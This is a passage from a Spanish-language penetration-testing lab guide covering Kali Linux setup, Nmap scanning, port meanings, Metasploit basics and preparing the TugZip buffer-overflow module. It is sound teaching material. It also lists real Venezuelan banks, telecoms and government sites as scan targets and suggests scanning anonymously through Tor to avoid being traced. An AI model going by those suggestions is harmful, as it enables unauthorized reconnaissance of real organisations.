Applications (al fondo en la barra lateral izquierda) y luego escriba Screenshot en la ventana Type to search.

En el Terminal escriba ifconfig -a para listar los adaptadores de red disponibles. Analice la información desplegada y en
particular la dirección IP. Si su máquina física dispone de un adaptador inalámbrico, bajo VMware éste se mostrará como eth0 y no
como wlan0 ya que VMware lo emula como un adaptador Ethernet cableado. Para que aparezca como wlan0, debería correr Kali
Linux desde el Live-DVD o USB y no como máquina virtual.
-15-

Si no aparece ninguna dirección IP asignada y no está corriendo Kali como una máquina virtual, sino en forma nativa desde el Live-
DVD o USB, entonces posiblemente se debe a que está usando un adaptador inalámbrico y deberá conectarse a un punto de acceso.
Para tal fin haga clic sobre la flecha invertida (arriba a la derecha) y seleccione Wi-Fi Not Connected. Luego mediante Select Network
busque el punto de acceso al cual conectarse. La opción Wi-Fi Setting permite configurar manualmente la conexión.

En la barra lateral izquierda de Kali Linux haga doble clic sobre el ícono de Firefox. Vaya a un sitio cualquiera, por ejemplo
http://www.google.com o http://www.kali.org . Debería poder navegar.

En Linux el comando netstat permite rápidamente conocer cuáles son los puertos abiertos en la máquina y otros parámetros de
acerca del estado de la red, el número de paquetes de entrada, salida, erróneos, etc. Es muy útil si se utiliza con parámetros
opcionales. Para saber cómo, en el Terminal ejecute netstat --help. Pruebe por ejemplo netstat -ant.

En Kali Linux a menudo hay que utilizar comandos avanzados en terminal (por ejemplo mount, df, ps, grep….). En la guía
sobre Configuración y operación de Linux se describen algunos de ellos.

(Opcional). Puede habilitar el servidor SSH escribiendo service ssh start. Ejecute netstat -ant para verificar que el puerto TCP 22
usado por SSH está en escucha.

(Opcional). Llegado a este punto, sería conveniente actualizar Kali Linux mediante el comando apt-get update. Sin embargo este
proceso puede llevar bastante tiempo y espacio en disco, así que hágalo en otro momento si ahora está apurado. Igualmente podría
instalar nuevas versiones mediante el comando apt-get upgrade.

Para salir de Kali Linux, lo puede hacer desde el ícono de apagado en el extremo superior derecho de la ventana o simplemente
ejecutando halt en Terminal. Pero si se trata de una máquina virtual, es preferible hacerlo desde VMware mediante Suspend Guest.
De esta manera cuando reinicie, no se habrá perdido el trabajo.
-16-

Sección C: Escaneo con Nmap

Una vez que se haya familiarizado con el ambiente de Kali Linux, puede usar las numerosas herramientas allí disponibles para
realizar pruebas de penetración, una fase más avanzada y más delicada de la auditoría de redes y servicios. Nmap Nessus, OpenVAS,
Acunetix, Nexpose, LANguard, y muchos otros productos gratuitos y comerciales ayudan a encontrar vulnerabilidades y brechas en
los sistemas que son aprovechados por intrusos (externos o internos). Afortunadamente Nmap y OpenVAS ya están preinstalados
en Kali Linux, al contrario de Nessus y Nexpose, que debe instalarse. En las siguientes pruebas se utilizará Nmap, el cual es muy
efectivo a la hora de identificar de forma rápida y sigilosa los puertos que están a la escucha, así como el sistema operativo. Esta
herramienta se ha vuelto muy popular en el mundo de la seguridad informática y hasta ha aparecido en varios films, incluyendo
Ocean's 8 del año 2018. Fue creado en 1997 por Gordon Lyon (Fyodor). En la película The Matrix Reloaded (la secuela de The
Matrix), por una vez el séptimo arte presenta de forma más fiel cómo los hackers desarrollan sus actividades, utilizando
herramientas reales como Nmap. La escena es muy breve, unos pocos segundos, pero suficientes para reconstruirlos. Trinity, la
atractiva superhacker, desde una sesión root en una máquina Unix (identificable por el prompt #), utiliza Nmap 2.54 BETA25 para
identificar los servicios que ofrece la máquina 10.2.2.2. Encuentra el puerto 22/tcp, correctamente identificado como SSH. A conti -
nuación, utiliza un programa llamado sshnuke que muestra el texto "Attempting to exploit SSHv1 CRC32". Se trata de un exploit que
permite cambiar la contraseña del usuario root del sistema remoto. Si bien no se tiene constancia de la existencia de ningún exploit
llamado "sshnuke", lo que si es real es la vulnerabilidad y también los efectos de la misma. La utilización de esta vulnerabilidad
permite obtener privilegios de root en el sistema remoto.

Nmap está preinstalado en Kali Linux. En Ubuntu y otras distribuciones que utilizan Debian, se puede instalar mediante el comando
sudo apt-get install nmap.

En Kali Linux puede correr Nmap desde la línea de comandos (lo cual es bastante tedioso y sujeto a errores) o desde la interfaz
gráfica GUI llamada Zenmap, que facilita las cosas. Ambas se encuentran en Information Gathering.

Corra Zenmap y se le presentará una intuitiva interfaz gráfica donde puede seleccionar el blanco y el perfil del escaneo. Para
averiguar que significan los parámetros de la línea de comandos, consulte el Help o ejecute nmap -h.
-17-
Si usted coloca como blanco (Target) su propio equipo (ya sea 127.0.0.1 o la IP de la interfaz), y estuviera usando Windows vería el
mensaje: Skipping SYN Stealth Scan against localhost because Windows does not support scanning your own machine (localhost)
this way. Sin embargo en las nuevas versiones de Nmap se ha integrado un driver Npcap loopback Adapter para solucionar esta
limitación. En tal caso efectúe un escaneo de su propia máquina (es decir Kali Linux) y analice los resultados.

A continuación efectúe el escaneo de scanme.nmap.org, un sitio de prueba en Internet que posee muchos puertos abiertos.
Empiece utilizando un perfil de escaneo de Nmap que sea rápido (por ejemplo Quick scan). Pulse Scan y espere por los resultados.

Luego use intense scan que genera mucho tráfico. Pulse Scan y espere un buen rato. Compare lo resultados.

Para conocer más sobre las opciones de escaneo, vaya aquí o aquí.

Continuando con las pruebas, efectúe el escaneo de la LAN, buscando algún blanco. En la casilla Target ponga la gama de
direcciones IP de su subred (por ejemplo 192.168.0.1-254). Ejecute ipconfig (ifconfig en Linux) para averiguar la dirección IP de su
equipo (por ejemplo 192.168.0.123) y la máscara (por ejemplo 255.255.255.0). En tal caso pondría en Nmap un rango 192.168.0.1-
192.168.0.254, ya que la subred sería clase C con un máximo de 255 direcciones IP. Alternativamente puede utilizar el formato CIDR
(Classless Inter-Domain Routing) y poner como rango 192.168.0.0/24, donde el sufijo /24, significa que de los 32 bits de las
direcciones IP, 24 indican la red y 8 las estaciones (es decir un máximo de 256 estaciones). Nota: Si su equipo está conectado
directamente a ABA de CANTV (sin un router), la máscara de red es usualmente 255.255.224.0, lo cual corresponde a /19, esto es
8192 direcciones IP. A veces ABA utiliza la máscara 255.255.248.0, lo cual corresponde a /21 esto es, 2048 posibles direcciones IP.
En estos casos de ABA se aconseja empezar utilizando una máscara 255.255.255.0, para así descubrir sólo 256 direcciones IP y no
tener que esperar demasiado tiempo (o generar muchas alertas).

Asumiendo que usted desconoce cuáles equipos están activos y visibles en la LAN, empiece con un perfil de escaneo de Nmap
rápido (por ejemplo Quick scan), para luego afinar la búqueda mediante el perfil Intense scan genera mucho tráfico. Compare los los
resultados.
-18-
(Opcional). Active un sniffer como Wireshark si quiere analizar cómo Nmap hace el escaneo.

Escanee alguna de las máquinas encontradas en la LAN (por ejemplo el servidor de aplicaciones). Aquí también empiece con un
perfil rápido (por ejemplo Quick scan), para luego pasar a Intense Scan. Compare los resultados.

Tome en cuenta que si ese equipo posee un firewall, los resultados del escaneo no son muy confiables. Muchos puertos no serán
visibles desde otros equipos si tiene el firewall activado. En el caso de Windows 7, por razones de seguridad, la mayoría de los
puertos no son visibles si está configurado para conectarse a redes públicas. De ser posible, efectúe las pruebas con el firewall
activado y con el firewall desactivado, comparando los resultados. Además si el propio equipo donde corre Nmap posee un firewall,
esto puede afectar los resultados. Consulte la guía de práctica sobre Firewalls para conocer cómo opera el firewall de Windows 7.

The six port states recognized by Nmap


Open: An application is actively accepting TCP connections, UDP datagrams or SCTP associations on this port. Finding these is often
the primary goal of port scanning. Security-minded people know that each open port is an avenue for attack. Attackers and pen-
testers want to exploit the open ports, while administrators try to close or protect them with firewalls without thwarting legitimate
users. Open ports are also interesting for non-security scans because they show services available for use on the network.

Closed: A closed port is accessible (it receives and responds to Nmap probe packets), but there is no application listening on it. They
can be helpful in showing that a host is up on an IP address (host discovery, or ping scanning), and as part of OS detection. Because
closed ports are reachable, it may be worth scanning later in case some open up. Administrators may want to consider blocking
such ports with a firewall. Then they would appear in the filtered state, discussed next.

Filtered: Nmap cannot determine whether the port is open because packet filtering prevents its probes from reaching the port. The
filtering could be from a dedicated firewall device, router rules, or host-based firewall software. These ports frustrate attackers
because they provide so little information. Sometimes they respond with ICMP error messages such as type 3 code 13 (destination
unreachable: communication administratively prohibited), but filters that simply drop probes without responding are far more
common. This forces Nmap to retry several times just in case the probe was dropped due to network congestion rather than
filtering. This slows down the scan dramatically.

Unfiltered: The unfiltered state means that a port is accessible, but Nmap is unable to determine whether it is open or closed. Only
the ACK scan, which is used to map firewall rulesets, classifies ports into this state. Scanning unfiltered ports with other scan types
such as Window scan, SYN scan, or FIN scan, may help resolve whether the port is open.

Open|Filtered: Nmap places ports in this state when it is unable to determine whether a port is open or filtered. This occurs for scan
types in which open ports give no response. The lack of response could also mean that a packet filter dropped the probe or any
response it elicited. So Nmap does not know for sure whether the port is open or being filtered. The UDP, IP protocol, FIN, NULL,
and Xmas scans classify ports this way.

Closed|Filtered: This state is used when Nmap is unable to determine whether a port is closed or filtered. It is only used for the IP ID
idle scan.

Al analizar los resultados del escaneo, tenga en cuenta que una brecha de seguridad puede existir simplemente porque está
abrierto un puerto tal como 25 (servidor SMTP de correo) o 80 (servidor Web). Esto, por supuesto, no significa necesariamente que
-19-
represente un riesgo, ya que hoy muchos otros factores involucrados. Además, los riesgos pueden ser reducidos por medio de
firewalls y sistemas de detección de intrusos. Pero las brechas de seguridad aparecen por muchas otras vías. Como un ejemplo, al
permitir que los empleados reciban e-mails, naveguen por Internet o usen mensajería instantánea, se abren brechas por donde
pueden entrar virus y hackers mediante puertas traseras.

En la auditoría de redes y servicios, el identificar los puertos que están a la escucha es fundamental para determinar el tipo de
sistema operativo y aplicaciones en uso. Por ejemplo, cuando los puertos abiertos son el 135, 139 y 445, hay grandes probabilidades
de que el sistema operativo objetivo sea Windows. Por otro lado los servicios activos que estén a la escucha pueden permitir que un
usuario no autorizado tenga acceso a sistemas que no estén bien configurados o que ejecuten una versión de software que tenga
problemas de seguridad conocidos. Los números de puerto, junto con las direcciones de origen y destino de los datos, especifican
un conector (socket). Cada equipo que se comunique utilizando TCP o UDP abre un socket (conector) en el equipo receptor. El
puerto del equipo origen se escoge al momento, usualmente de entre un lote de valores libres y es un número alto, que puede ser
de hasta 65.000 (16 bits). En cambio el puerto de destino usualmente es un número pequeño, ya predefinido según el tipo de
servicio. Los números de puerto por debajo de 1024 se llaman puertos bien conocidos ( well-known ports) y se reservan para
servicios estándar. Por ejemplo, HTTP usa el puerto 80 y DNS el puerto 53. La lista de puertos bien conocidos se da en el RFC 1700.

Algunos de los puertos más comunes y los servicios que se ejecutan sobre ellos son los siguientes:

 21 FTP - permite transferir archivos entre equipos.


 22 SSH - proporciona una conexión a un sistema remoto en forma segura.
 23 TELNET - proporciona una conexión de terminal a un sistema remoto.
 25 SMTP - se encarga de enviar correo electrónico.
 53 DNS - sistema de nombre de dominio
 69 TFTP - permite transferir fácilmente archivos entre equipos.
 80 HTTP - acceso a servicios web en la intranet y en Internet.
 443 HTTPS - acceso seguro a servicios web en la intranet y en Internet mediante TLS/SSL.
 110 POP3 - acceso remoto al correo electrónico.
 143 IMAP - otro método de acceso remoto al correo electrónico.
 161 SNMP - sistema de gestión de red simple

Los puertos registrados van desde 1024 hasta 49151 y están ligados a los servicios que prestan las aplicaciones. Por ejemplo, SQL
Server utiliza el puerto 1433, MySQL utiliza el puerto TCP 3306, Escritorio Remoto de Windows se basa en RDP (Remote Desktop
Protocol) y utiliza el puerto TCP 3389, VNC (Virtual Network Computing) utiliza el puerto TCP 5900.
Los puertos privados van desde 49152 hasta 55535. En teoría ningún servicio debería ser asignado a dichos puertos. Son muy
usados por los troyanos.
Los puertos privados van desde 49152 hasta 55535. En teoría ningún servicio debería ser asignado a dichos puertos. Son muy
usados por los troyanos. Si mediante netstat aparecen puertos altos en escucha, puede ser que haya un troyano corriendo.
Si aparece abierto el puerto 5000 en Windows, se debe a que está activo ssdpsrv.exe, el cual es utilizado para ciertas funciones
plug & play (compruébelo mediante msconfig).
Cuando se activa la opción compartir archivos en la red Microsoft con NetBIOS, se abren eventualmente los puertos TCP 137
(NetBIOS Name Service), 138 (NetBIOS Datagram Service) y 139 (NetBIOS Session Service) y los puertos UDP 1027-1029. Otros
puertos que posiblemente estén abiertos son: TCP 5357 y 5358 (Web Services on devices API - WSDAPI), TCP 2869 (ICSLAP), UDP
3702 (Web Service Dynamic Discover), UDP 1900 (Simple Service Discovery Protocol - SSDP).
Windows además utiliza el puerto 445 para el intercambio de información entre computadoras conectadas en red a través del
protocolo SMB (Server Message Block). Esta característica permite además el intercambio de archivos. En Windows NT, esto corría
sobre NBT (NetBIOS sobre TCP/IP), utilizando los ya conocidos puertos 137, 138 (UDP) y 139 (TCP). En Windows 2000/XP Microsoft
agregó la posibilidad de ejecutar el protocolo SMB directamente sobre TCP/IP (sin NetBIOS), eliminando toda la capa extra del NBT.
Para ello es que utiliza el puerto TCP 445. Según Microsoft, las ventajas de esto es que se simplifica el tráfico SMB, se elimina WINS y
NetBIOS simplificando la resolución de nombres, estandarización de esto último mediante DNS también para compartir archivos e
impresoras, etc. Si ambos sistemas están activos (puerto 445 y NBT), Windows prueba ambos métodos al mismo tiempo y utiliza el
primero que responda. Esto permite que funcione adecuadamente aún en sistemas que no soportan tráfico vía SMB directo por el
puerto 445. Sin embargo, se han reportado vulnerabilidades en el puerto 445 que permiten el acceso remoto a la computadora
involucrada. Esto se debe a que Windows abre este puerto por defecto para permitir el intercambio de archivos con sistemas
remotos. Por este método, las entradas pueden realizarse sin impedimentos por autenticación, especialmente en aquellas
computadoras que no utilizan contraseña (solo Enter), o con contraseñas débiles para acceder a la cuenta administrativa de ese
equipo. El problema es que Windows no requiere que el administrador ingrese una contraseña cuando se instala el software. Esto
es lo que hace a la vulnerabilidad mucho más extendida.
-20-
En conclusión, mediante una sencilla exploración de puertos TCP y UDP se pueden hacer suposiciones sobre la vulnerabilidad de
los sistemas. Por ejemplo, si un servidor Windows tiene abierto el puerto 445, se estará corrien do un gran riesgo, a menos que se
tomen las contramedidas adecuadas para proteger el acceso a ese puerto. Por el contrario, es virtualmente imposible comprometer
la seguridad de un servicio remoto si no está a la escucha. Por tanto, es importante recordar que cuantos más servicios se estén
ejecutando, mayor será la probabilidad de comprometer el sistema.

Luego de haber probado Nmap contra un blanco en su propia LAN, podría probarlo contra un sistema Windows montado como
máquina virtual. Para tal fin podría descargar una máquina virtual Windows XP para VMware (836 MB), ya configurada en su forma
básica, ideal para auditoría de seguridad y pruebas de penetración. El hash MD5 para chequear la integridad es
DBE49D85E163C1B0E3A6247D839E6250. Para descomprimir el archivo RAR use la contraseña Venezuela. Las contraseñas del
sistema son: Usuario = abc123 y Administrador = abc123abc123.

Nota: Si tiene problemas con arrancar la máquina, seleccione Edit virtual machine settings. Luego bajo la pestaña Enhanced
keyboard cambie la configaración de Required a Use if available (recommended).

Otra posibilidad es descargar una máquina virtual Windows XP para VirtualBox (1.3 GB) en el formato VDI, también configurada en
su forma básica, ideal para auditoría de seguridad y pruebas de penetración. La contraseña del Administrador está en blanco.

Si usted guarda los resultados del escaneo, los puede importar en Metasploit para encontrar más fácilmente las vulnerabilidades y
lanzar pruebas de penetración. Esto se verá más adelante.

Finalmente pase a probar Nmap con un blanco en Internet. Claramente se requiere una buena conectividad IP con esa red para
obtener resultados válidos. Por ejemplo, la red remota no puede estar detrás de un dispositivo NAT. Como ya se advirtió, el perfil
Intense Scan genera mucho tráfico. Además muchos proveedores de Internet (ISP) prohíben los escaneos y las pruebas de
penetración, considerándolos una forma de ataque. Esta actividad es considerada ilegal en ciertos países. Usted debería notificar
previamente al personal encargado de los sistemas a los cuales se van a efectuar las pruebas, a fin de que dé su autorización.
Obtenga primero el permiso para hacerlo o hágalo bajo su propia responsabilidad. Un escaneo sin autorización puede llevar a la
suspensión del servicio por parte del ISP en caso de quejas. Un escaneo intenso o prolongado suele generar una miríada de alarmas
si existe un IDS (Intrusion Detection System) en la red escaneada y es posible que el firewall bloque su IP termporal o
permanentemente. Como solución se puede realizar un escaneo anónimo a través de la red Tor, ya que así no se podrá determinar
desde donde se origina el escaneo. El objetivo principal del proyecto Tor (The onion routing) es la navegación anónima por Internet,
impidiendo que se pueda rastrear la información que envía un usuario para llegar hasta él (su dirección IP). El uso de Tor y el
escaneo anónimo se explican en la guía de la práctica Servidores proxy y navegación anónima.
-21-

Algunos de los sitios en Internet que podría escanear son los siguientes:
testphp.vulnweb.com - testaspnet.vulnweb.com - testasp.vulnweb.com - testhtml5.vulnweb.com - demo.testfire.net -
zero.webappsecurity.com - crackme.cenzic.com - hackaserver.com - hack.me - www.pentesterlab.com - mdsec.net/labs -
www.webscantest.com - www.pentesterlab.com - www.computersecuritystudent.com.

Estos sitios son vulnerables y son utilizados para efectuar pruebas y entrenamiento en seguridad Web, por lo que tienen pocos
puertos abiertos (usualmente solo el puerto TCP 80 o 443).

Otros sitios que podría escanear son los siguientes:

www.mercadolibre.com.ve - www.tucarro.com - www.noticias24.com - www.noticierodigital.com - www.descifrado.com -


www.aporrea.org - www.auyantepui.com.ve - www.venezuelanalysis.com - ucv.edu.ve - ucab.edu.ve - www.unimet.edu.ve -
www.cantv.net - www.movilnet.com.ve - www.movistar.com.ve - www.digitel.com.ve - www.banesco.com -
www.bancodevenezuela.com - www.bancomercantil.com - www.provinet.net - www.gobiernoenlinea.ve -
www.vicepresidencia.gob.ve - mpprij.gob.ve - www.mre.gob.ve - www.cgr.gob.ve - www.mppef.gob.ve -
www.asambleanacional.gov.ve - www.seniat.gob.ve - www.platino.gob.ve - www.conatel.gob.ve - www.pdvsa.com.

Para conocer más Nmap, consulte la Guía de Referencia (en línea) y el libro Nmap in the Enterprise - Guide to Network Scanning. En
Internet puede ver una serie de entretenidos videos.

Para aprovechar al máximo todas las funcionalidades de Nmap, se puede recurrir a su poderoso motor de scripts NSE ( Nmap
Scripting Engine), que utiliza el lenguaje de programación Lua. Se trata de un lenguaje interpretado potente, rápido y ligero,
conocido sobre todo por que se usa en el popular juego WoW (World of Warcraft) y en otras aplicacioness. Existe una extensa
colección de scripts disponibles para Nmap. Algunos de estos scripts se incluyen en la distribución de Nmap para Linux y mediante
el comando ls se puede ver el listado de los scripts NSE instalados localmente. 

Además de Nmap y Zenmap, Kali Linux dispone de una variedad de herramientas para el mapeo y análisis de redes (bajo
Information Gathering), así como para búsqueda de vulnerabilidades (bajo Vulnerability Analysis).

Sección D: Familiarización con Metasploit

Metasploit Framework (MSF) es una sofisticada herramienta incluida en Kali Linux, pero que también se puede instalar en Windows,
Linux y otras plataformas. Se llama framework porque es un ambiente de desarrollo con librerías, bases de datos, programas y
scripts para la gestión de exploits. Un exploit es un programa, script, shellcode, etc., que permite aprovecharse de alguna falla de
programación en el sistema atacado y así obtener diversos privilegios. Esta característica hace que investigadores, estudiantes,
curiosos e independientes, experimenten con MSF para adaptarlo a sus necesidades y entender cómo funciona internamente.

MSF fue presentado al público por su autor H D Moore en la edición XII (Julio 2004) de DEFCON, el cual es uno de los eventos más
importantes a nivel mundial en lo que se refiere a hacking y pruebas de penetración. Durante varios días, miles de personas se
congregan para asistir a una brillante serie de conferencias brindadas por algunos de los expertos más renombrados en el área.
Luego de su debut, MSF ha tenido una popularidad espectacular, aspecto que le ha permitido ganarse un lugar privilegiado dentro
del kit de herramientas de todo aquel profesional relacionado de uno u otro modo con las tecnologías de seguridad de la
información y que se dedica a realizar pruebas de de penetración. Obviamente también es utilizado por atacantes
malintencionados.
-22-
Mestasploit dispone de una amplia gama de exploits listos para utilizarse. No debería ser ninguna sorpresa que la mayoría de los
exploits disponibles estén dirigidos hacia Microsoft Windows, una plataforma tradicionalmente bastante vulnerable (al menos antes
de Windows 7). También hay una buena cantidad de exploits para Flash Player, Acrobat Reader, Internet Explorer y más
recientemente, para Android. Para los novatos, lo único que hay que hacer es saber qué sistema se va a atacar, buscar una
vulnerabilidad explotable para ese sistema y lanzar el ataque.

Para aprovechar las capacidades que ofrece Metasploit y entender lo que realmente está ocurriendo, se requiere algún grado de
conocimientos, sobre todo cuando el ataque no funciona. Si usted encuentra que no está familiarizado con ciertos tópicos, dedique
un tiempo a investigar, antes de continuar. No hay nada más satisfactorio que resolver el problema uno mismo, por lo que se le
recomienda encarecidamente esforzarse más. En Internet se consigue abundante información sobre Metasploit, por ejemplo
Metasploit Unleashed, Metasploit Unleashed en Español, The Metasploit Book, Metasploit Penetration Testing Cookbook, Learning
Metasploit Exploitation and Development. También hay bastante información en los libros sobre Kali Linux y BackTrack.

Como ya se mencionó en la Introducción, una gran parte de las vulnerabilidades que se descubren en sistemas operativos como
Windows, son corregidas al poco rato, ya que Windows por lo general se actualiza automáticamente. Otra modalidad es explotar las
vulnerabilidades del lado del cliente, donde continuamente se descubren y publican fallas en Acrobat Reader, en navegadores de
Internet (Explorer, Firefox, Chrome) en aplicaciones ofimáticas (MSOffice, OpenOffice), en reproductores multimedia (Flash Player),
etc. Por ejemplo, se puede engañar a la víctima para abra un archivo tipo PDF infectado enviado por correo, el cual contiene un
troyano. Más difícil es engañar alguien enviándole un archivo tipo EXE infectado. El engaño es uno de los tantos aspectos de
aspectos de la llamada ingeniería social, la cual se ha convertido en una forma de ataque cada vez más utilizada. Si embargo, los
auditores de seguridad por lo general no son tan buenos en estas técnicas y menos aún saben utilizarlas en los tests de penetración.

Se requiere experiencia, habilidad, paciencia y suerte para encontrar un exploit exitoso y los resultados de la auditoría y escaneo
mediante Nmap, Nessus, LANguard y otros productos, ayudan mucho a seleccionar el exploit más adecuado. Además Kali Linux
dispone de poderosas herramientas como Armitage y Websploit que automatizan los ataques con Metaploit y facilitan su uso a los
novatos. Puede leer una introducción en castellano a Armitage aquí y puede ver un útil video aquí.

Metasploit tiene muchas facetas y seguidamente vamos a explicar cómo usarlo para montar un ataque del lado del cliente, el cual
posiblemente sea exitoso, aprovechándose de una vulnerabilidad en una aplicación (Tugzip) para tomar control remoto de la
máquina de la víctima. En la práctica Pruebas de penetración con troyanos se explica cómo crear un programa bajo la forma de un
archivo EXE que, de ser ejecutado por la víctima, también permite tomar control remoto de la máquina de la víctima.

Para el ataque se utilizará el módulo Meterpreter (o meta intérprete) de Metasploit. Se trata de una familia de avanzados plugins
incorporados en Metasploit, listos para utilizarse contra sistemas vulnerables, permitiendo realizar sofisticados ataques con el
menor ruido posible al interactuar con la máquina remota. Su actividad sigilosa no es fácilmente detectada por un antivirus, firewall
o IDS, ya que se ejecuta como un proceso en la memoria, sin escribir nada, por lo que no deja rastros. La comunicación entre
Meterpreter y la máquina remota viaja encriptada para que no levante sospechas y no pueda ser entendida.

Metasploit dispone de diferentes interfaces, cada una con sus ventajas y desventajas. La interfaz gráfica (GUI) es la más fácil de
utilizar, pero consume muchos recursos. La interfaz de texto msfcli es la más simple de todas, pero quizás la más difícil de usar. Su
principal característica es la de mostrar un simple prompt en Terminal, a partir del cual se ejecutan comandos . La interfaz de texto
msfconsole es más conveniente por la rapidez de su operación y su flexibilidad. Al principio puede parecer intimidante, pero una vez
que se aprende la sintaxis de los comandos, se aprecia el poder de esta interfaz, que es la que vamos a utilizar de aquí en adelante.

Hay una serie de pasos previos antes de ejecutar msfconsole para que Metasploit funcione bien. En primer lugar debería montarse
la base de datos PostgreSQL. Allí se guardan de forma persistente los resultados de escaneo y otros datos. Sin embargo es preferible
no hacerlo si está corriendo Kali Linux en una máquina virtual, ya que se consumen muchos recursos y a veces la máquina se tranca.

Para iniciar Metasploit en modo texto, simplemente escriba msfconsole en el Terminal.


-23-

Deberá ESPERAR UN BUEN RATO hasta que el prompt msf > aparezca en la pantalla.

Metasploit consume muchos recursos y la máquina virtual puede colgarse por sobrecarga del CPU o por falta de memoria RAM,
sobre todo si tiene otras aplicaciones corriendo en la máquina real. En caso de que la operación como máquina virtual no dé la talla,
una alternativa es grabar un DVD con la imagen ISO de Kali Linux y correrlo como un Live-DVD. Pero el funcionamiento puede
resultar algo lento y una mejor solución es grabar un pendrive con la imagen ISO de Kali Linux: Desde Windows esto se puede hacer
mediante la utilidad como Easy2Boot o YUMI (Your Universal Multiboot Integrator). Una tercera solución es instalar Kali Linux en
una segunda partición del disco duro, con arranque dual (ej. Windows y Kali Linux).

Escribiendo help o alternativamente ? se mostrará una lista de los comandos disponibles, junto una descripción de su uso.

Una buena lista de los comandos de Matasploit, Nmap y Linux es The Ultimate Penetration Testing Command Cheat Sheet.

El comando show exploits desplegará después de un bien rato una extensa lista de exploits que está ordenada según el
nombre del exploit (ej. windows/smb/ms08_067_netapi). Es posible restringir la búsqueda mediante el comando search, por
ejemplo search adobe, search java, search windows, search payload/windows. El comando help
search ayuda a afinar la búsqueda. Como otro ejemplo, search MS13-069 permite averiguar si hay un exploit para el boletín
MS13-069 de Microsoft, mientras que search cve:2013 lista todas las alertas de la base de datos CVE a partir del año 2013.
-24-

Como ejercicio mediante search cve-2008-4779 compruebe si está disponible el exploit para el programa TugZip, que se
utilizará más adelante.

Muchos de los exploits que se muestran son antiguos y posiblemente ya no funcionen. Hace unos 200 años Abraham Lincoln
escribió: “Si yo tuviera 6 horas para cortar un árbol, me pasaría las primeras cuatro afilando mi hacha ”. ¿Que tiene que ver esto con
Metasploit? Pues antes de realizar una prueba de penetración o una auditoría de seguridad, hay que prestar atención en “afilar las
herramientas”, es decir actualizar Kali Linux y Metasploit. Para este último el comando es simplemente msfupdate. Pero no lo
ejecute ahora si no tiene una buena conexión a Internet o si no dispone de tiempo, ya que tarda algún tiempo. Luego de la
actualización, MSF contará con los últimos exploits disponibles públicamente. Otra posibilidad es buscar un nuevo exploit en sitios
como Exploit Database y luego añadirlo a Metasploit. Usualmente se distribuye como un script .rb (Ruby) o .py (Python).

Sección E: Importando escaneos de Nmap y Nessus en Metasploit (opcional)

Por lo que se vio en la sección anterior, puede resultar muy laborioso o casi imposible encontrar un exploit para una determinada
plataforma si no conocen sus vulnerabilidades. Para facilitar esta tarea, Metasploit permite importar a una base de datos PosgreSQL
los resultados de los escaneos de vulnerabilides realizados con herramientas como Nmap, Nessus y OpenVAS. Para probar esta
funcionalidad, debe salirse temporalmente de Metasploit mediante exit, iniciar PosgreSQL y volver a correr Metasploit. Escriba
entonces los siguientes comandos en secuencia:

exit
service postgresql start
msfdb init
msfconsole
db_status

Escriba help pare listar los comandos disponibles en Metasploit, en particular los relacionados a la base de datos.
-25-

El comando db_import permite importar los resultados de un escaneo. Como ejemplo, descargue el escaneo de un sistema
Windows XP efectuado con Nmap mediante el comando:

wget http://mendillo.info/seguridad/doc/Scan_WinXP.xml

Antes de importar ese archivo a la base de datos de Metasploit, proceda a crear un espacio mediante el comando:

workspace -a WinXP

In Metasploit workspaces are used as logical units for information. You can have different workspaces for different penetration tests
or different locations of the penetration test. It is easy to import and export data between different workspaces.

Cámbiese a ese espacio mediante el comando:

workspace WinXP

Seguidamente importe el archivo recién descargado a ese espacio:

db_import Scan_WinXP.xml

Verifique que la importación fue exitosa mediante el comando hosts.

A continuación consulte los servicios que corren en esos hosts mediante el comando services.
-26-

El comando vulns lista las vulnerabilidades reportadas por Nmap (en este caso no hay). El comando help vulns muestra las
opciones de este comando.

Para conocer más detalles sobre los comandos anteriores, consulte Using the Database in Metasploit.

Observe que la máquina escaneada hay varios puertos TCP potencialmente vulnerables, pero Nmap no es un escaner de
vulnerabilidades. Como segundo ejemplo descargue el escaneo efectuado con Nessus a un servidor Web vulnerable mediante el
comando:

wget http://mendillo.info/seguridad/doc/Scan_FreeBank.nessus

Antes de importar ese archivo a la base de datos de Metasploit, proceda a crear un espacio mediante el comando:

workspace -a FreeBank

Cámbiese a ese espacio mediante el comando:

workspace FreeBank

Seguidamente importe el archivo recién descargado a ese espacio:

db_import Scan_FreeBank.nessus

A continuación consulte los servicios que corren en esos hosts mediante el comando services.
-27-
El comando vulns lista las vulnerabilidades reportadas por Nessus (en este caso hay montones). El comando help vulns
muestra las opciones de este comando.

Medainte el comando vulns -i se detalla más información sobre las vulnerabilidades, por ejemplo SQL Injection y XSS (Cross Site
Scripting).

Se reporta además la vulnerabilidad FlatNuke (CVE-2005-2813 y CVE-2005-4208) que permite un directory traversal attack y así ver
cualquier archivo en ese servidor.

Conociendo la referencia CVE (Common Vulnerabilities and Exposures) se puede hacer una búsqueda en Metasploit para buscar un
exploit (en este caso infructuoso).

Para conocer más detalles sobre cómo explotar las vulnerabilidades encontradas, consulte Working with Nessus.

Sección F: Creando un exploit mediante Metasploit

En la siguiente experiencia se va tratar de explotar la vulnerabilidad CVE-2008-4779 de buffer overflow en la versión 3.5 de TugZip.
Se trata de una utilidad gratuita para comprimir y archivar archivos.

TugZip 3.5 Zip File Parsing Buffer Overflow Vulnerability


This module exploits a stack-based buffer overflow vulnerability in the latest version 3.5 of TugZip archiving utility. In order to
trigger the vulnerability, an attacker must convince someone to load a specially crafted zip file with TugZip by double click or file
open. By doing so, an attacker can execute arbitrary code as the victim user.

Este exploit no funciona en Windows 8 y Windows 10. En tal caso podría realizar la práctica Pruebas de penetración con troyanos.

Instale en Windows XP o Windowws 7 el programa TugZip, el cual se encuentra en la carpeta Hacking\Metasploit de material de
apoyo o descárguelo de Internet.

Si no lo hizo en la sección anterior, en Metasploit utilice el comando search cve-2008-4779 para averiguar si está disponible
algún exploit para esa vulnerabilidad.
-28-

A pesar de que se trata de una vieja vulnerabilidad, el exploit suele estar incluido en ediciones recientes de Metasploit. Pero de no
estar disponible, podría descargar el script tugzip.rb de Internet. También se encuentra en la carpeta Hacking\Metasploit de
material de apoyo. Luego añádalo a la carpeta /usr/share/metasploit-framework/modules/exploits/windows/fileformat.
Finalmente recargue los módulos de Metasploit mediante reload_all. Nota: Tenga en cuenta que con VMware no puede ver
directamente las carpetas de Windows (¿por qué?), pero podría utilizar un pendrive para la transferencia de archivos o usar SAMBA,
que implementa en Linux el protocolo SMB (Session Message Block) de Windows. Para tal fin en Kali Linux seleccione Places |
Connect to Server e introduzca los datos requeridos.

